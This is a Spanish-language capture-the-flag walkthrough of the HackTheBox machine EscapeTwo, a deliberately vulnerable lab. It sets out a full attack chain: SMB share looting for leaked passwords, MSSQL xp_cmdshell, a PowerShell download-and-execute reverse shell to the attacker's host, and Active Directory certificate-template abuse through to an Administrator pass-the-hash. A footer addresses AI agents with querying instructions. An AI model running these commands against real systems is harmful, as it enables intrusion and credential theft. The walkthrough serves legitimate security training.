> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md).

# Writeup de EscapeTwo en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/642>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración SMB
* Fuga de información de contraseñas (zip, archivo de Excel)
* Explotación de MSSQL (Microsoft SQL) con RCE
* Enumeración de BloodHund
* Usuario WriteOwner CA/\_SVC (Escalada de privilegios)
  {% endhint %}

En esta prueba de penetración en un entorno Windows, tenemos las siguientes credenciales:

* nombre de usuario: `rose`
* contraseña: `KxEPkKe6R8su`

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/c66298e327b7a10119d9e71c471c2b832bf6e594" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/c66298e327b7a10119d9e71c471c2b832bf6e594" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts
```

<figure><img src="/files/ad6651c1b5d1afb97ae74b2bb14118cda3db2945" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos en el `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` portapapeles

<figure><img src="/files/ca2e28300da8b9765ae08442e8b551e0223e4b52" alt=""><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted
```

<figure><img src="/files/2aa1cbdd41c3ba9ccee0854e458da3e3faa2371c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c756175ab4bf581dfdc2b56edf9f5edbecb070ba" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

<figure><img src="/files/58fdf64f364d61166783f23bbef52b88de85e644" alt="" width="563"><figcaption></figcaption></figure>

### Puerto 445 - SMB

**Validar al usuario con CrackMapExec**

Confirmamos que el `rose` usuario existe en el controlador de dominio (DC):

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
```

<figure><img src="/files/b111e78e0201db76e5741241c44ebbc68e322970" alt=""><figcaption></figcaption></figure>

**Exploración de recursos compartidos SMB**

Enumeramos los recursos compartidos accesibles con el `--shares` comando:

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
```

**Resultado**: Se ven dos carpetas interesantes:

* `Users`
* `Departamento de Contabilidad`

<figure><img src="/files/76f9216a3658b84513ccbae29b2585b18302fcfb" alt=""><figcaption></figcaption></figure>

/*/* Conectarse al recurso compartido SMB con smbclient/*/*

Accedemos a **Departamento de Contabilidad**:

```bash
smbclient '//10.10.11.51/Accounting Department' -U rose
```

En este directorio, recuperamos dos archivos de Excel:

```powershell
get accounting_2024.xlsx
get accounts.xlsx
```

<figure><img src="/files/fb91d2462c595b15d21a5440560724df7737ec4b" alt=""><figcaption></figcaption></figure>

**Identificación del formato de archivo**

Con la `archivo` comando, determinamos que estos archivos son en realidad archivos ZIP.

<figure><img src="/files/b8257e46ffe057c39d3679861d79c823bd1c7750" alt=""><figcaption></figcaption></figure>

**Extracción de archivos ZIP**

Descomprimimos los archivos recuperados:

<figure><img src="/files/7d5ceafa5fe1f138a163db6b701553af17e7872a" alt=""><figcaption></figcaption></figure>

**Búsqueda de información sensible**

Filtramos los archivos extraídos para encontrar información que contenga la palabra clave **contraseña**:

```bash
find . -type f -name "*.txt" -exec grep -iH "password" {} +
```

<figure><img src="/files/21d4366139a5643980979c68e4ffecec5affabf8" alt=""><figcaption></figcaption></figure>

**Resultado**: Un archivo llamado `shareStrings.xml` contiene una lista de usuarios y contraseñas.

<img src="/files/121be0d2f0559aaeec23bb8311b457eb81a7eed0" alt="" class="gitbook-drawing">

<table><thead><tr><th width="141">Nombre</th><th width="135">Apellido</th><th width="174">Correo electrónico</th><th width="107">Nombre de usuario</th><th>Contraseña</th></tr></thead><tbody><tr><td>Angela</td><td>Martin</td><td>angela@sequel.htb</td><td>angela</td><td>0fwz7Q4mSpurIt99</td></tr><tr><td>Oscar</td><td>Martinez</td><td>oscar@sequel.htb</td><td>oscar</td><td>86LxLBMgEWaKUnBG</td></tr><tr><td>Kevin</td><td>Malone</td><td>kevin@sequel.htb</td><td>kevin</td><td>Md9Wlq1E5bZnVDVo</td></tr><tr><td></td><td></td><td>sa@sequel.htb</td><td>sa</td><td>MSSQLP@ssw0rd!</td></tr></tbody></table>

**Probar IDs con CrackMapExec**

Usamos las credenciales recuperadas para validar cuentas:

```bash
crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99'
crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'
crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo'
crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!'
```

**Resultado**: Solo el `oscar` el usuario es válido.

<figure><img src="/files/b08767ccddb36c7313628c87fcc542e88bfca796" alt=""><figcaption></figcaption></figure>

## Explotación de MSSQL (Microsoft SQL)

**Puerto 1433 (MSSQL)**

El puerto 1433 está abierto, lo que indica que hay un servidor Microsoft SQL escuchando. Probaremos las conexiones con los distintos usuarios recuperados anteriormente.

<figure><img src="/files/4fbd7367a18321aa31caabc9a56c0f36d6775033" alt=""><figcaption></figcaption></figure>

**Prueba de conexión MSSQL**

Usamos `mssqlclient.py` para intentar conectarse:

```bash
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="/files/d681092d15bb030f33ad4717fd3b84119d9ef4ca" alt=""><figcaption></figcaption></figure>

**Resultado**: Solo el usuario `sa` funciona.

```bash
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="/files/1f1bd94acab92f37a6b36f015b2e1cc8488fc16f" alt=""><figcaption></figcaption></figure>

### Explotación de reverse shell mediante MSSQL

**Habilitar la ejecución de comandos**

Para ejecutar comandos del sistema, activamos `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Luego probamos con un comando simple, como `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="/files/c2353613a078727b1e6400ca78527c5805450ba5" alt=""><figcaption></figcaption></figure>

**Preparación de la escucha en nuestra máquina**

Estamos iniciando una escucha en el puerto 4444:

```bash
rlwrap nc -nvlp 4444
```

**Descargar un script de PowerShell**

Estamos preparando un script de PowerShell llamado `PS.ps1` que incluye un comando de reverse shell. Al final del script, añadimos la siguiente línea:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Al final del script, añadimos la siguiente línea:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

Alojamos este script en un servidor web local:

```bash
python3 -m http.server 80
```

**Ejecución de reverse shell**

Desde el servidor MSSQL, ejecutamos el siguiente comando para descargar y ejecutar el script de PowerShell:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="/files/58ed28e159e3f3753b230fd7aca8cce0853f779d" alt=""><figcaption></figcaption></figure>

## Pivotando al usuario Ryan

**Se descubrieron nuevas credenciales**

Al explorar el sistema, descubrimos un directorio llamado **SQL2019** en la raíz. Dentro, encontramos las siguientes credenciales:

* Nombre de usuario : `ryan`
* Contraseña: `WqSZAF6CysDQbGb3`

<figure><img src="/files/01d52e6783747639131331fac40805b0911933ba" alt=""><figcaption></figcaption></figure>

**Validación de credenciales con CrackMapExec**

Comprobamos si estas credenciales son válidas:

```bash
crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/6de4eac4b89ac884984147edfa21eeec5ed68309" alt=""><figcaption></figcaption></figure>

Al explorar los directorios compartidos, identificamos un usuario llamado `ryan`. Probamos las mismas credenciales que para `sql_svc`:

<figure><img src="/files/73d147efdadfb6971ba116809d8764faf3d18029" alt=""><figcaption></figcaption></figure>

**Resultado**: Las credenciales también funcionan para el usuario `ryan`.

```bash
crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/84f62a5b1a10da04eebad84233b471e52f614592" alt=""><figcaption></figcaption></figure>

Evil-winrm

```bash
evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/7bec82e9756554b7c6ae213c49fef474743afdaf" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/b7e9a4259925a94f0cb328e4df969886f881958b" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

### Enumeración con BloodHund-python

Comando utilizado:

```bash
bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All
```

<figure><img src="/files/8b334f2cf898dce003db56f22575fa1cf496a998" alt=""><figcaption></figcaption></figure>

## WriteOwner:

**Observación :**/ El **Ryan** usuario tiene la `WriteOwner` autorización en la **CA/ SVC** cuenta, que también es la emisora del certificado. Esto significa que podemos modificar el propietario de la cuenta **CA/ SVC** para asociarlo **Ryan**.

<figure><img src="/files/8c731c7c4a1f98cdbf6d3d731aa7dac58a516769" alt=""><figcaption></figcaption></figure>

### Tomar el control de CA/\_SVC con BloodyAD

#### Cambio del propietario de la cuenta

{% code overflow="wrap" %}

```bash
bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
```

{% endcode %}

El comando usa BloodyAD para modificar el propietario de **CA/ SVC** y definirlo en **Ryan**. Como propietario, **Ryan** ahora puede cambiar las autoridades asociadas con la cuenta.

### Modificar permisos con Dacledit

#### Dar permiso total a Ryan

{% code overflow="wrap" %}

```bash
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
```

{% endcode %}

Este comando modifica la **DACL** (Lista de control de acceso discrecional) de la **CA/ SVC** cuenta para otorgar control total a **Ryan**. Esto permite a Ryan restablecer la contraseña o manipular las claves de autenticación.

<figure><img src="/files/4d650ce579ae5bb53fff9d8df7b5b4661bf8a8d4" alt=""><figcaption></figcaption></figure>

### Extracción de credenciales sombra

#### Generar y recuperar la impresión del hash NT

{% code overflow="wrap" %}

```bash
certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/a7a7757443e1628c7019ba1d4c7ecc01441beb38" alt=""><figcaption></figcaption></figure>

Hash NT para **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce`

El **Certipy** comando genera una clave de identificación para **CA/ SVC**, permitiendo la autenticación basada en certificados. Un `.ccache` archivo también se genera, lo que facilita los ataques basados en Kerberos.

### Modificación de la plantilla de certificado

#### Ajustar la plantilla DunderMifflinAuthentication

{% code overflow="wrap" %}

```bash
KRB5CCNAME=$PWD/ca_svc.ccache certipy template  -k -template DunderMifflinAuthentication  -target dc01.sequel.htb -dc-ip 10.10.11.51
```

{% endcode %}

<figure><img src="/files/27e9f8889af5c63273037d60a4b337fb6c1778ac" alt=""><figcaption></figcaption></figure>

Este comando modifica la **DunderMifflinAuthentication** plantilla de certificado para permitir la emisión de certificados con altos privilegios.

### Emisión de un certificado para el administrador

#### Solicitar un certificado para suplantación

{% code overflow="wrap" %}

```bash
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/8a996dd2ae44de19518523eaa58d565cbcd16e50" alt=""><figcaption></figcaption></figure>

Este comando requiere un certificado en nombre del Administrador (`Administrator@sequel.htb`), permitiendo usurpar la identidad de esta cuenta.

### Autenticación como Administrador

#### Uso del certificado para autenticarse

```bash
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
```

<figure><img src="/files/5261d6cb57c1c660443c9f8ecf0f6b928becac59" alt=""><figcaption></figcaption></figure>

**Hash NTLMv2 :** `7a8d4e04986afa8ed4060f75e5a0b3ff`

```bash
 evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff"
```

<figure><img src="/files/74db8a27dff07863bc2af971e3b52b023fe952f4" alt=""><figcaption></figcaption></figure>

Este comando se autentica como Administrador con el certificado obtenido previamente y recupera el hash NTLM.

### Bandera root.txt :)

<figure><img src="/files/9330db103815efea4b868ea99cf721e23b68451e" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/e65b6b4638d20e3dbcf359bcc93938f95d895314" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
